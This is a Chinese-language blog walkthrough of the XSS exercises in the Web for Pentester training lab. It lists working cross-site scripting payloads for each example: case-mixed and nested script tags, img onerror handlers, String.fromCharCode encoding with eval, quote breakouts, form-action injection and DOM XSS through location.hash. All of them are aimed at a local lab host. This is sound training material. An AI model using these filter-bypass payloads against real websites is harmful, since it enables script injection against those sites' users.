Web Pentester渗透靶机-XSS模块
下面我们一起对web for pentester中的XSS模块进行讲解

example1
直接使用常用script标签,发现弹框,完全没有过滤编码,各种姿势绕过~

example2
从这里可以看到,过滤掉了<script>标签,我们试试大小写?
name=<Script>alert('bb')</sCript>
嗯,大小写绕过了

example3
和上一张图一样,<script>标签被过滤掉了
先试试 name=la<script>la,输出hello,lala
name=<scri<script>pt>alert('bb')</scri</script>pt>
经测试这个在实例2也是可以用的

example4
先输入最基本的测试name=<script>alert('bb')</script>
竟然输出error了!
换个标签? name=<img>?这次没error。补全补全~
name=<img src="1" onerror="alert('bb')">
成功了~~经测试这个payload在前三个应该也是可以的

example5
先输入name=<img>正常显示
补全name=<img src="1" onerror="alert('bb')"> 输出error
发现alert被过滤掉了- -但是其他的函数还可以用,
比如说name=<img src="1" onerror="confirm('aa')">
当然我们还可以用JS10进制编码
name=<img src="1" onerror="eval(String.fromCharCode(97,108,101,114,116,40,39,97,39,41))">

example6
查看元素,发现输出竟然在script标签中。

$a="<img src="1" onerror="alert('bb')">"
输出在script标签中的情况要首先闭合双引号"
name=fdf";alert($a);//

example7
审计元素
<script>
var $a= 'fdf";alert($a);//';
</script>
发现双引号被HTMLEncode了
- -还发现$a=''这个地方变成了单引号。。。稍微改一下
name=fdf';alert($a);//

example8
一看属于存储型XSS
这时候
随便输出个名字<script>alert('a')</script>
审查元素
HELLO <script>alert('a')</script>
<>被HTMLEncode了。
对于输出在HTML中的内容,这样的过滤已经是足够了。那么漏洞在哪儿呢?
经过答案的提醒- -我们发现form表的目标URL是可以被构造的
http://192.168.2.176/xss/example8.php/%22%20onsubmit=%22alert('1')
在提交的时候,会触发弹窗


example9
这题做的时候有点混乱。。先贴答案,把URL改成http://192.168.2.176/xss/example9.php#<script>alert(1)</script>
首先看到代码里有<script> document.write(location.hash.substring(1)); </script>,所以显然入口在这里。
百度了一发,location.hash就是得到URL中”#“开始的字符串。substring(1)就得到了#后的字符串。
document.write()是把括号中的部分写到HTML文档的这段代码后(我大概这么理解了一下)
所以就在#后加入payload:#<script>alert(1)</script>
按F12看到HTML改成了:
PS:奇怪的是之前写简单的HTML,用chrome测试document.write()的时候,它会自动在文档中加入双引号,即使再用双引号注释掉也做不到弹窗。以后再试试看吧。
总体来说,web for pentester这9题算是很不错的XSS入门练习了,做完9题,会有一个简单直观的了解。

浙公网安备 33010602011771号